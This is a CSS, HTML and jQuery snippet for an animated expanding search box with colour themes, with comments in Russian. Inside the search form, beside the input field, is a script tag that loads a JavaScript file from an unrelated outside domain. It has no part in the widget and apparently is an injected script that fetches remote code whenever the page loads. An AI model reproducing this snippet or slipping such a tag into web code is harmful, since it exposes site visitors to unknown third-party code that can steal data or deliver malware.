#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}

<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>

<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>